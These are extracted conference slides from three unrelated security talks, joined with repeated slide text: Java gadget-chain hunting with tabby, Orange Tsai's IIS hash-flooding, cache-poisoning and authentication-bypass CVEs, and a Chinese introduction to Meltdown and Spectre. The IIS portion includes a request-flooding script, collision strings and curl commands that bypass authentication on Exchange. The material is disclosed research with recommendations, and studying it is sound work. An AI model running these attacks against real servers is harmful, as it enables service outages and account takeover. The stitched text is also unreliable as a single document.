但也意味着可还原除特殊几个对象的任意对象,如Class、Method对象 5. 类属性还原忽略Transient、Static JDK是一座深山,永远可以发现有意思的东西! 排除中间节点出现黑名单对象 Find Java RPC Framework Vulnerabilities like a pro XStream CVE-2021-21346 变种 javax.activation.MimeTypeParameterList#toString java.util.Hashtable#get javax.swing.UIDefaults#get javax.swing.UIDefaults#getFromHashtable javax.swing.UIDefaults$LazyValue#createValue sun.swing.SwingLazyValue#createValue java.lang.reflect.Method#invoke sun.swing.SwingLazyValue#createValue Not JNDI Again! FileWrite + URLClassLoader = RCE 静态函数调用 Find Java RPC Framework Vulnerabilities like a pro com.sun.org.apache.xml.internal.security.utils.JavaUtils#writeBytesToFilename sun.security.tools.keytool.Main#main 1. write to /tmp/a.jar 2. load /tmp/a.jar 3. newInstance trigger static blocks 4. Execute any Java code 总 结 1. tabby善于链路挖掘,但模式识别仍需人工参与 2. 规则库的完善度决定了分析效果 3. 加内存!升级CPU!买高配云主机!!! Happy Hunting Bugs! Ps: 分享基于最新的 tabby 2.0,开源时间待定 Ps:分享的利用链均开源于ysomap 分享涉及的开源库: 1. https://github.com/wh1t3p1g/tabby 2. https://github.com/wh1t3p1g/tabby-path-finder 3. https://github.com/wh1t3p1g/ysomap
pdf
Let's Dance in the Cache: Orange Tsai Destabilizing Hash Table on Microsoft IIS USA 2022 For a Protected Area Th1s-1s-@-Sup3r-Str0ng-P@33w0rD! DI1D8XF4 T9433W0N R04K85R8 OR7SHSQM 4IDF7LAU T9ILKRJO DIO376UC 29WM5WPU XRXNHYS8 I0XVSRY7 4J4F29DY BA55FF5B VJ5QUDCJ XS9B66QE I1BICTG1 DJH24HH4 OSNADCSM FSNPV263 91T4TLRP 91UKBHBR 2AWCRJ5Z I212PEZ3 XT2A3HD6 MK4CSS3L OT844EAG 92D4O9UT FTM3BRCO FTNJ0N3Q 4KT30N6F 92TWJEJM OU131W48 KC4U2MRT VL62A63D 93DWE2MQ OUFLIRN9 MLK1OC5L VLKKY1ME 2CONWY0F 03R2ZXJM AND MORE DI1D8XF4 T9433W0N R04K85R8 OR7SHSQM 4IDF7LAU T9ILKRJO DIO376UC 29WM5WPU XRXNHYS8 I0XVSRY7 4J4F29DY BA55FF5B VJ5QUDCJ XS9B66QE I1BICTG1 DJH24HH4 OSNADCSM FSNPV263 91T4TLRP 91UKBHBR 2AWCRJ5Z I212PEZ3 XT2A3HD6 MK4CSS3L OT844EAG 92D4O9UT FTM3BRCO FTNJ0N3Q 4KT30N6F 92TWJEJM OU131W48 KC4U2MRT VL62A63D 93DWE2MQ OUFLIRN9 MLK1OC5L VLKKY1ME 2CONWY0F 03R2ZXJM AND MORE All Passwords are Valid Orange Tsai • Specialize in Web and Application Vulnerability Research • Principal Security Researcher of DEVCORE • Speaker at Conferences: Black Hat USA/ASIA, DEFCON, HITB AMS/GSEC, POC, CODE BLUE, Hack.lu, WooYun and HITCON • Former Captain of HITCON CTF Team • Selected Awards and Honors: • 2017 - 1st place of Top 10 Web Hacking Techniques • 2018 - 1st place of Top 10 Web Hacking Techniques • 2019 - Winner of Pwnie Awards "Best Server-Side Bug" • 2021 - Champion and "Master of Pwn" of Pwn2Own • 2021 - Winner of Pwnie Awards "Best Server-Side Bug" Outline 1. Introduction 2. Our Research 3. Vulnerabilities 4. Recommendations Hash Table The most underlying Data Structure in Computer Science Hold Data # Create a Hash Table Table = { "one": "apple", "two": "banana", } Table["three"] = "lemon" Table["four"] = "orange" delete Table["two"] What is Hash-Flooding Attack? Drop all records into a same bucket Degenerate the Hash Table to a single Linked-List 00 banana 01 lemon 02 orange … … 13 apple 14 mango 15 QIH5VQ 7TZUCP KJNT08 MN6RJL TJDI4X Key Set Buckets 00 01 02 03 04 05 … 25 26 27 28 29 30 31 HASH FUNCTION H(KEY) % 32 00 banana 01 lemon 02 orange … … 13 apple 14 mango 15 QIH5VQ 7TZUCP KJNT08 MN6RJL TJDI4X Key Set Buckets 00 01 02 03 04 AAAAAA 05 … 25 26 27 28 29 30 31 AA… 00 banana 01 lemon 02 orange … … 13 apple 14 mango 15 QIH5VQ 7TZUCP KJNT08 MN6RJL TJDI4X Key Set Buckets 00 01 02 03 04 AAAAAA 05 … 25 26 27 28 29 30 31 AA… AA… 00 banana 01 lemon 02 orange … … 13 apple 14 mango 15 QIH5VQ 7TZUCP KJNT08 MN6RJL TJDI4X Key Set Buckets 00 01 02 03 04 AAAAAA 05 … 25 26 27 28 29 30 31 AA… AA… AA… 00 banana 01 lemon 02 orange … … 13 apple 14 mango 15 QIH5VQ 7TZUCP KJNT08 MN6RJL TJDI4X Key Set Buckets 00 01 02 03 04 AAAAAA 05 … 25 26 27 28 29 30 31 AA… AA… AA… AA… 00 banana 01 lemon 02 orange … … 13 apple 14 mango 15 QIH5VQ 7TZUCP KJNT08 MN6RJL TJDI4X Key Set Buckets 00 01 02 03 04 AAAAAA 05 … 25 26 27 28 29 30 31 00 01 02 03 04 AAAAAA 05 … 25 26 27 28 29 30 31 QIH5VQ 7TZUCP KJNT08 MN6RJL TJDI4X Key Set Buckets AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… AA… Average Case Worst Case Insert 𝒪(1) 𝒪(n) Delete 𝒪(1) 𝒪(n) Search 𝒪(1) 𝒪(n) 𝒪(𝑛2) Insert n elements Microsoft IIS Hash Table Lots of data such as HTTP-Headers, Server-Variables, Caches and Configurations are stored in Hash Table. Microsoft's Two Hash Table • TREE_HASH_TABLE • LKRHash Table TREE_HASH_TABLE • The most standard code you have seen in your textbook • Use chaining through Linked-List as the collision resolution • Rehash all records at once when the table is unhealthy • Combine DJB-Hash with LCGs as its Hash Function LKRHash Table • A successor of Linear Hashing, which aims to build a scalable Hash Table on high-concurrent machines. • Invented at Microsoft in 1997 (US Patent 6578131) • Paul Larson - from Microsoft Research • Murali Krishnan - from IIS Team • George Reilly - from IIS Team • Allow applications to customize their table-related functions such as Key-Extractor, Hash-Calc and Key-Compare operations. Outline 1. Introduction 2. Our Research a) Hash Table Implementation b) Hash Table Usage c) IIS Cache Mechanism 3. Vulnerabilities 4. Recommendations Hash Table Implementation • Memory corruption bugs • Logic bugs • E.g. CVE-2006-3017 discovered by Stefan Esser - PHP didn't distinguish the type of hash-key leads to unset() a wrong element. • Algorithmic Complexity Attack such as Hash-Flooding Attack Hash Table Usage • Since LKRHash is designed to be a customizable implementation that can be applied to various scenarios, applications have to configure their own table-related functions during initialization. • Is the particular function good? • Is the logic of the Key-Calculation good? • Is the logic of the record selection good? • More and more… HTTP.SYS Windows Process Activation Service (WAS) World Wild Web Publishing Service (W3SVC) IISSvcs (svchost.exe) HTTP.SYS Windows Process Activation Service (WAS) World Wild Web Publishing Service (W3SVC) IISSvcs (svchost.exe) <?xml version="1.0" encoding="UTF-8"?> applicationHost.config HTTP.SYS Windows Process Activation Service (WAS) World Wild Web Publishing Service (W3SVC) IISSvcs (svchost.exe) <?xml version="1.0" encoding="UTF-8"?> applicationHost.config HTTP.SYS Windows Process Activation Service (WAS) World Wild Web Publishing Service (W3SVC) IISSvcs (svchost.exe) Worker (w3wp.exe) Initializing iisutil.dll w3tp.dll w3dt.dll … iiscore.dll <?xml version="1.0" encoding="UTF-8"?> applicationHost.config HTTP.SYS Windows Process Activation Service (WAS) World Wild Web Publishing Service (W3SVC) IISSvcs (svchost.exe) Worker (w3wp.exe) IIS Modules static.dll filter.dll isapi.dll … iislog.dll cachuri Initializing iisutil.dll w3tp.dll w3dt.dll … iiscore.dll Native IIS Modules CustomErrorModule StaticCompression HttpRedirection CgiModule ProtocolSupport DefaultDocument CustomLogging DirectoryListing WindowsAuthModule RequestFiltering FileCacheModule HttpLoggingModule TokenCacheModule AnonymousAuthModule HTTPCacheModule StaticFileModule IsapiModule BasicAuthModule UriCacheModule DynamicCompression … Global Cache Provider/Handler CustomErrorModule StaticCompression HttpRedirection CgiModule ProtocolSupport DefaultDocument CustomLogging DirectoryListing WindowsAuthModule RequestFiltering FileCacheModule HttpLoggingModule TokenCacheModule AnonymousAuthModule HTTPCacheModule StaticFileModule IsapiModule BasicAuthModule UriCacheModule DynamicCompression … <?xml version="1.0" encoding="UTF-8"?> applicationHost.config HTTP.SYS Windows Process Activation Service (WAS) World Wild Web Publishing Service (W3SVC) IISSvcs (svchost.exe) Worker (w3wp.exe) IIS Modules static.dll filter.dll isapi.dll … iislog.dll cachuri Initializing iisutil.dll w3tp.dll w3dt.dll … iiscore.dll Request- Notify Events- Request-Level Notify Events PreExecuteRequestHandler ExecuteRequestHandler ReleaseRequestState UpdateRequestCache EndRequest LogRequest BeginRequest AuthenticateRequest AuthorizeRequest ResolveRequestCache AcquireRequestState MapRequestHandler Global-Level Notify Events TraceEvent ThreadCleanup CacheCleanup CacheOperation … CustomNotification StopListening ApplicationStart ApplicationStop HealthCheck FileChange ConfigurationChange Request-Level Cache BeginRequest AuthenticateRequest AuthorizeRequest ExecuteRequest MapRequest LogRequest EndRequest … FileCacheModule cachFile.dll TokenCacheModule cachTokn.dll UriCacheModule cachUri.dll HTTPCacheModule cachHttp.dll ResolveRequestCache UpdateRequestCache Global-Level Cache BeginRequest AuthorizeRequest ResolveRequestCache ExecuteRequest MapRequest UpdateRequestCache LogRequest EndRequest … AuthenticateRequest FileCacheModule cachFile.dll TokenCacheModule cachTokn.dll UriCacheModule cachUri.dll HTTPCacheModule cachHttp.dll Raise Global Notification GL_CACHE_OPERATION Outline 1. Introduction 2. Our Research 3. Vulnerabilities a) CVE-2022-22025 - IIS Hash Flooding Attack by-default large-bounty demo b) CVE-2022-22040 - IIS Cache Poisoning Attack c) CVE-2022-30209 - IIS Authentication Bypass by-default demo 4. Recommendations IIS Hash Flooding Attack CVE-2022-22025 Hash Flooding Attack on IIS • The Spoiler: • TREE_HASH_TABLE: Vulnerable to Hash Flooding DoS by default. • LKRHash: Vulnerable only If a poor Hash Function is configured. UriCacheModule • Cache URI information and configuration • Accessible by default • Every URL access triggers a Hash Table Lookup / Insert / Delete • Use TREE_HASH_TABLE 0 50 100 150 200 250 5k 10k 15k 20k 25k 30k 35k 40k 45k 50k 55k 60k 65k 70k 75k 80k 85k 90k 95k 100k Random Collision Time of Every 1000 New Records s s s s s s What is this Jitter? 0 50 100 150 200 250 5k 10k 15k 20k 25k 30k 35k 40k 45k 50k 55k 60k 65k 70k 75k 80k 85k 90k 95k 100k Random Collision s 1 bool TREE_HASH_TABLE::InsertRecord(TREE_HASH_TABLE *this, void *record) { 2 /* omitting */ 3 hashKey = this->vt->GetHashKey(this, record); 4 sig = TREE_HASH_TABLE::CalcHash(this, hashKey); 5 bucket = this->_ppBuckets[sig % this->_nBuckets]; 6 7 /* check for duplicates */ 8 while ( !bucket->_pNext ) { 9 /* traverse the linked-list */ 10 } 11 12 /* add to the table */ 13 ret = TREE_HASH_TABLE::AddNodeInternal(this, key, sig, keylen, bucket, &bucket); 14 if ( ret >= 0 ) { 15 TREE_HASH_TABLE::RehashTableIfNeeded(this); 16 } 17 } 1 bool TREE_HASH_TABLE::InsertRecord(TREE_HASH_TABLE *this, void *record) { 2 /* omitting */ 3 hashKey = this->vt->GetHashKey(this, record); 4 sig = TREE_HASH_TABLE::CalcHash(this, hashKey); 5 bucket = this->_ppBuckets[sig % this->_nBuckets]; 6 7 /* check for duplicates */ 8 while ( !bucket->_pNext ) { 9 /* traverse the linked-list */ 10 } 11 12 /* add to the table */ 13 ret = TREE_HASH_TABLE::AddNodeInternal(this, key, sig, keylen, bucket, &bucket); 14 if ( ret >= 0 ) { 15 TREE_HASH_TABLE::RehashTableIfNeeded(this); 16 } 17 } 1 void TREE_HASH_TABLE::RehashTableIfNeeded(TREE_HASH_TABLE *this) { 2 3 if ( this->_nItems > TREE_HASH_TABLE::GetPrime(2 * this->_nBuckets) ) { 4 CReaderWriterLock3::WriteLock(&this->locker); 5 Prime = TREE_HASH_TABLE::GetPrime(2 * this->_nBuckets); 6 7 if ( this->_nItems > Prime && Prime < 0x1FFFFFFF ) { 8 ProcessHeap = GetProcessHeap(); 9 newBuckets = HeapAlloc(ProcessHeap, HEAP_ZERO_MEMORY, 8 * Prime); 10 11 for ( i = 0 ; i < this->_nBuckets; i++ ) { 12 /* move all records to new table*/ 13 } 14 15 this->_ppBuckets = newBuckets; 16 this->_nBuckets = Prime; 17 } 18 /* omitting */ 19 } 20 } Questions to be solved… 1. How much of the Hash-Key we can control? 2. How easy the Hash Function is collide-able? Cache-Key Calculation • For the given URL: http://server/foobar MACHINE/WEBROOT/APPHOST/DEFAULT WEB SITE/FOOBAR Site Name Config Path Absolute Path 1 DWORD TREE_HASH_TABLE::CalcHash(wchar_t *pwsz) { 2 DWORD dwHash = 0; 3 4 for ( ; *pwsz; ++pwsz) 5 dwHash = dwHash * 101 + *pwsz; 6 7 return ((dwHash * 1103515245 + 12345) >> 16) 8 | ((dwHash * 69069 + 1) & 0xffff0000); 9 } Hash Function “No.” by Alech & Zeri from their awesome talk at 28c3 1 DWORD TREE_HASH_TABLE::CalcHash(wchar_t *pwsz) { 2 DWORD dwHash = 0; 3 4 for ( ; *pwsz; ++pwsz) 5 dwHash = dwHash * 101 + *pwsz; 6 7 return ((dwHash * 1103515245 + 12345) >> 16) 8 | ((dwHash * 69069 + 1) & 0xffff0000); 9 } Variant of DJBX33A Equivalent Substrings ℎ33 "PS" = 331 × asc("P") + 330 × asc("S") = 2723 ℎ33 "Q2" = 331 × asc("Q") + 330 × asc("2") = 2723 = 331 × ℎ33 "Q2" + 330 × asc("A") = ℎ33 "Q2A" ℎ33 "PSA" = 331 × ℎ33 "PS" + 330 × asc("A") ℎ33 "PSPS" = ℎ33 "PSQ2" = ℎ33 "Q2PS" = ℎ33 "Q2Q2" ℎ101 "XR39M083" = ℎ101 "B94OS5T0" = ℎ101 "R04I46KN" = ℎ101 "..." 1 import requests 2 from itertools import product 3 4 MAGIC_TABLE = [ 5 "XR39M083", "B94OS5T0", "R04I46KN", "DIO137NY", # ... 6 ] 7 8 for i in product(MAGIC_TABLE, repeat=8): 9 request.get( "http://iis/" + "".join(i) ) 1 import requests 2 from itertools import product 3 4 MAGIC_TABLE = [ 5 "XR39M083", "B94OS5T0", "R04I46KN", "DIO137NY", # ... 6 ] 7 8 for i in product(MAGIC_TABLE, repeat=8): 9 request.get( "http://iis/" + "".join(i) ) Obstacles to make this not- so-practical… 1. The increment is too slow 2. The Cache Scavenger • A thread used to delete unused records every 30 seconds 1 bool TREE_HASH_TABLE::InsertRecord(TREE_HASH_TABLE *this, void *record) { 2 3 /* omitting */ 4 5 while ( i <= KeyLength ) { 6 if ( !SubKey[i] ) { 7 SubKeySig = TREE_HASH_TABLE::CalcHash(this, SubKey); 8 record = 0; 9 if ( i == KeyLength ) 10 record = OrigRecord; 11 12 ret = TREE_HASH_TABLE::AddNodeInternal(this, SubKey, SubKeySig, record, ...); 13 if ( ret != 0x800700B7 ) 14 break; 15 SubKey[i] = Key[i]; // Substitute the NUL-byte to slash 16 } 17 i = i + 1; 18 } 19 /* omitting */ 20 } Bad implementation for a rescue! SEARCH 1. FindRecord(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/HHHH/...") xx 1. InsertRecord(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/HHHH/...") http://server/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/HHHH/… ▶ SEARCH ▶ INSERT SEARCH 1. FindRecord(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/HHHH/...") xx 1. InsertRecord(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/HHHH/...") 2. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/HHHH") 3. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/") 4. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF") 5. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE") 6. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD") 7. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC") 8. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA/BBBB") 9. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA") http://server/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/HHHH/… ▶ INSERT ▶ SEARCH 1 bool TREE_HASH_TABLE::InsertRecord(TREE_HASH_TABLE *this, void *record) { 2 3 /* omitting */ 4 5 while ( i <= KeyLength ) { 6 if ( !SubKey[i] ) { 7 SubKeySig = TREE_HASH_TABLE::CalcHash(this, SubKey); 8 record = 0; 9 if ( i == KeyLength ) 10 record = OrigRecord; 11 12 ret = TREE_HASH_TABLE::AddNodeInternal(this, SubKey, SubKeySig, record, ...); 13 if ( ret != 0x800700B7 ) 14 break; 15 SubKey[i] = Key[i]; // Substitute the NUL-byte to slash 16 } 17 i = i + 1; 18 } 19 /* omitting */ 20 } ℎ101 𝑃𝑎𝑡ℎ1 = ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 = ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 = ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 + 𝑃𝑎𝑡ℎ4 = ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 + 𝑃𝑎𝑡ℎ4 + 𝑃𝑎𝑡ℎ5 = ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 + 𝑃𝑎𝑡ℎ4 + 𝑃𝑎𝑡ℎ5 + 𝑃𝑎𝑡ℎ6 = ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 + 𝑃𝑎𝑡ℎ4 + 𝑃𝑎𝑡ℎ5 + 𝑃𝑎𝑡ℎ6 + 𝑃𝑎𝑡ℎ7 http://server ? /Path /Path /Path /Path /Path /Path /Path ℎ101 𝑃𝑎𝑡ℎ1 = 0 = ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 = 0 = ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 = 0 = ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 + 𝑃𝑎𝑡ℎ4 = 0 = ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 + 𝑃𝑎𝑡ℎ4 + 𝑃𝑎𝑡ℎ5 = 0 = ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 + 𝑃𝑎𝑡ℎ4 + 𝑃𝑎𝑡ℎ5 + 𝑃𝑎𝑡ℎ6 = 0 = ℎ101 𝑃𝑎𝑡ℎ1 + 𝑃𝑎𝑡ℎ2 + 𝑃𝑎𝑡ℎ3 + 𝑃𝑎𝑡ℎ4 + 𝑃𝑎𝑡ℎ5 + 𝑃𝑎𝑡ℎ6 + 𝑃𝑎𝑡ℎ7 = 0 http://server ? /Path /Path /Path /Path /Path /Path /Path Amplify the attack 10-times at least by a slight modification 1 import requests 2 from itertools import product 3 4 ZERO_HASH_TABLE = [ 5 "/HYBCPQOG", "/XOCZE29I", "/HWYDXRYR", "/289MICAP", # ... 6 ] 7 8 for i in ZERO_HASH_TABLE: 9 request.get( "http://iis/" + "2BDCKV6" + i*12 ) The Result • Denial-of-Service on default installed Microsoft IIS • About 30 requests per-second can make a 8-core and 32GB-ram server unresponsive • Awarded $30,000 by Windows Insider Preview Bounty Program Demo https://youtu.be/VtnDkzYPNCk IIS Cache Poisoning Attack CVE-2022-22040 Cache Poisoning Attack on IIS • IIS-Level Caching for: • Static Response - Cached by Kernel (http.sys) • Dynamic Response - Cached by HTTPCacheModule • HTTPCacheModule • Use LKRHash HTTP Cache Module *.aspx id Cache Poisoning While… • Configure the cache based on the Query String: • IIS caches responses by the specified Query-String • Inconsistency between the module's Query-String parser and the backend (mostly ASP.NET) may cache wrong results. A Case of Inconsistency • A simple HTTP Parameter Pollution can rule them all • Output Caching: Use the first occurrence for the Cache-Key • ASP.NET: Concatenate all together! key=val1&key=val2 Output Caching key=val1 ASP.NET key=val1,val2 The hacker poisoned… http://orange.local/hello.aspx?id=Orange &id=+and+You+Got+Poisoned <%=String.Format("Hello {0}", Request("id"))%> hello.aspx The user saw… http://orange.local/hello.aspx?id=Orange http://orange.local/hello.aspx?id=Orange IIS Authentication Bypass CVE-2022-30209 For a Protected Area Th1s-1s-@-Sup3r-Str0ng-P@33w0rD! DI1D8XF4 T9433W0N R04K85R8 OR7SHSQM 4IDF7LAU T9ILKRJO DIO376UC 29WM5WPU XRXNHYS8 I0XVSRY7 4J4F29DY BA55FF5B VJ5QUDCJ XS9B66QE I1BICTG1 DJH24HH4 OSNADCSM FSNPV263 91T4TLRP 91UKBHBR 2AWCRJ5Z I212PEZ3 XT2A3HD6 MK4CSS3L OT844EAG 92D4O9UT FTM3BRCO FTNJ0N3Q 4KT30N6F 92TWJEJM OU131W48 KC4U2MRT VL62A63D 93DWE2MQ OUFLIRN9 MLK1OC5L VLKKY1ME 2CONWY0F 03R2ZXJM AND MORE All Passwords are Valid You might be thinking… • What's the root cause? • How do I get those passwords? • What kind of scenarios are vulnerable? The login result cache…? • Logon is an expensive operation so… Let's cache it! • IIS by default cache windows security tokens for password-based authentications such as Basic Auth or Client-Certificate Auth… • A scavenger deletes unused records every 15 minutes :( • Use LKRHash Table Initializing a LKRHash Table CLKRHashTable::CLKRHashTable( this, "TOKEN_CACHE", // An identifier for debugging pfnExtractKey, // Extract key from record pfnCalcKeyHash, // Calculate hash signature of key pfnEqualKeys, // Compare two keys pfnAddRefRecord, // AddRef in FindKey, etc 4.0, // Bound on the average chain length. 1, // Initial size of hash table. 0, // Number of subordinate hash tables. 0 // Allow multiple identical keys? ); fnCalcKeyHash for Token Cache 1 DWORD pfnCalcKeyHash(wchar_t *Username, wchar_t *Password) { 2 DWORD i = 0, j = 0; 3 4 for ( ; *Username; ++Username) 5 i = i * 101 + *Username; 6 7 for ( ; *Password; ++Password) 8 j = j * 101 + *Password; 9 10 return i ^ j; 11 } fnEqualKeys for Token Cache 1 DWORD pfnEqualKeys(TokenKey *this, TokenKey *that) { 2 3 if ( this->LoginMethod != that->GetLogonMethod() || 4 strcmp(this->Username, that->GetUserNameW()) || 5 strcmp(this->Username, that->GetUserNameW()) ) { 6 return KEY_MISMATCH; 7 } 8 9 return KEY_MATCH; 10 } 1 DWORD pfnEqualKeys(TokenKey *this, TokenKey *that) { 2 3 if ( this->LoginMethod != that->GetLogonMethod() || 4 strcmp(this->Username, that->GetUserNameW()) || 5 strcmp(this->Username, that->GetUserNameW()) ) { 6 return KEY_MISMATCH; 7 } 8 9 return KEY_MATCH; 10 } Why did it compare the username twice? 1 DWORD pfnEqualKeys(TokenKey *this, TokenKey *that) { 2 3 if ( this->LoginMethod != that->GetLogonMethod() || 4 strcmp(this->Username, that->GetUserNameW()) || 5 strcmp(this->Username, that->GetUserNameW()) ) { 6 return KEY_MISMATCH; 7 } 8 9 return KEY_MATCH; 10 } Would you like to guess why it compares twice? pfnCalcKeyHash vs. pfnEqualKeys Username and Password are involved Only Username is involved… You can reuse another logged-in token with random passwords 1. Every password has the success rate of Τ 1 232 2. Unlimited attempts during the 15-minutes time window. Winning the Lottery 1. Increase the odds of the collision! 2. Exploit without user interaction - Regain the initiative! 3. Defeat the 15-minutes time window! 1. Increase the Probability • 4.2 billions hashes under the key space of a 32-Bit Integer • LKRHash Table uses LCGs to scramble the result • The LCG is not one-to-one mapping under the key space of a 32-bit integer DWORD CLKRHashTable::_CalcKeyHash(IHttpCacheKey *key) { DWORD dwHash = this->pfnCalcKeyHash(key) return ((dwHash * 1103515245 + 12345) >> 16) | ((dwHash * 69069 + 1) & 0xffff0000); } 13% of Success Rate 13% of Key Space by pre-computing the password 2. Regain the Initiative • The "Connect As" feature is commonly used in Virtual Hosting or Web Hosting IIS auto-logon the user you specify while spawning a new process Experiment Run! • Windows Server is able to handle about 1,800 logins per-second • Running for all day - (1800 × 86400) ÷ (232 × (1 − 0.13)) = 4.2% The odds are already higher than an SSR (Superior Super Rare) in Gacha Games… Experiment Run! • Windows Server is able to handle about 1,800 logins per-second • Running for all day - (1800 × 86400) ÷ (232 × (1 − 0.13)) = 4.2% • Running for 5 days - (1800 × 86400 × 5) ÷ (232 × (1 − 0.13)) = 20.8% • Running for 12 days - (1800 × 86400 × 10) ÷ (232 × (1 − 0.13)) = 49.9% • Running for 24 days - (1800 × 86400 × 24) ÷ (232 × (1 − 0.13)) = 100% 3. Defeat the Time Window! • In sophisticated modern applications, it's common to see: 1. background daemons that check the system health 2. background cron-jobs that poke internal APIs periodically 3. Defeat the Time Window! • The token will be cached in the memory forever if: 1. The operations attach a credential 2. The time gap between each access is less than 15 minutes Microsoft Exchange Server Microsoft Exchange Server • Active Monitoring Service: • An enabled-by-default service to check the health of all services • Check Outlook Web Access and ActiveSync with a credential every 10 minutes! $ curl "https://ex01/Microsoft-Server-ActiveSync/" \ -u "HealthMailbox31e866..@orange.local:000000" HTTP/2 401 $ curl "https://ex01/Microsoft-Server-ActiveSync/" \ -u "HealthMailbox31e866..@orange.local:PASSWD" HTTP/2 401 $ curl "https://ex01/Microsoft-Server-ActiveSync/" \ -u "HealthMailbox31e866..@orange.local:KVBVDE" HTTP/2 505 ❌ ❌ ✔️ KVBVDE Outline 1. Introduction 2. Our Research 3. Vulnerabilities 4. Recommendations Recommendation • About the Hash Table design • Use PRFs such as SipHash/HighwayHash • About the Cache Design • The inconsistency is the king. • Learn from history • ❌ Limit the input size • ❌ A secret to randomize the Hash Function Future Works • Locate the correct bucket index by Timeless Timing Attack? • A more efficient Hash-Flooding way on CachUriModule? • Cache Poisoning on Static Files (Kernel-Mode)? orange_8361 orange@chroot.org Thanks! https://blog.orange.tw
pdf
不不可能完成的任务 从⽤用户空间窃取内核数据 Yueqiang Cheng, Zhaofeng Chen, Yulong Zhang, Yu Ding, Tao Wei Baidu Security 关于演讲者 Dr. Tao Wei Dr.$Yueqiang$Cheng$ Mr. Zhaofeng Chen Mr. Yulong Zhang Dr. Yu Ding 我们的安全项⽬目: 怎样从⽤用户空间读取未授权的内核数据? $$ 强有⼒力力的内核-⽤用户隔离 (KUI) MMU-⻚页表(Page Table)的加持 这为什什么很难? 假设内核⽆无缺陷: ⽆无内核缺陷来任意的读取内核数据 KUI⾥里里的内存访问 查询TLB 截取⻚页表 更更新TLB 保护检查 查询失败 查询成功 拒绝 准许 保护失败 SIGSEGV 物理理地址 虚拟地址 权限检查 2: 控制暂存器器, 例例如, SMAP in CR4 1: ⻚页表许可 Image from Intel sdm 1. ⾮非特权应⽤用程序+ 2. KUI 权限检查+ 3. ⽆无缺陷内核 ⽆无计可施? 但, 为了了获得⾼高性能的 CPU … 1. ⾮非特权应⽤用程序+ 2. 权限检查+ 3. ⽆无缺陷内核 ⾼高性能 推测执⾏行行+ ⽆无序执⾏行行 投机执⾏行行 S$ F$ T$ E$ ⽆无推测执⾏行行 错误预测 正确预测 ⽆无序执⾏行行 Images$are$from$Dr.$Lihu$Rappoport$ 例例⼦子: 有序执⾏行行: ⽆无序执⾏行行: 数据流图 推测执⾏行行 + ⽆无序执⾏行行 够了了么? 不不够!!! 延迟的权限检查+ 缓存副作⽤用 权限检查延迟到注销 单元 Image$from$https://www.cse.msu.edu/~enbody/postrisc/postrisc2.htm$ 前端分⽀支预测器器服务 于推测执⾏行行 执⾏行行引擎以⽆无序 ⽅方式执⾏行行 缓存中的副作⽤用 仍然存在!!! 1. 攻击者选择的,⽆无法访问的内存位置的内容将加 载到寄存器器中。 指向⽬目标内核地址 Meltdown (v3)的⼯工 作原理理 Meltdown (v3)的⼯工 作原理理 2. 临时指令根据寄存器器的秘密内容访问缓存线。 将数据放⼊入缓 存 这个数字应该 >= 0x6 3. 攻击者使⽤用flush+reload来确定访问的缓存线,从 ⽽而确定存储在所选内存位置的秘密。 阵列列基 256槽 0$ 1$ 2$ 254$ 255$ 所选索引是⽬目标字节的值。 例例如,如果所选索引为0x65,则值为‘A’ Meltdown (v3)的⼯工 作原理理 ForeShadow 把秘密放在⼀一级 取消映射⻚页表条⽬目 Meltdown $$ Spectre(v1/v2)怎么样? Sepctre(v1) 的⼯工作原理理 1. 在设置阶段, 处理理器器被错误的训练去做出 “⼀一个可被利利⽤用 的错误的推测。” 例例如, x < array1_size 指向⽬目标地址 阵列列2的槽索引 泄漏漏数据 真正的执⾏行行流程和 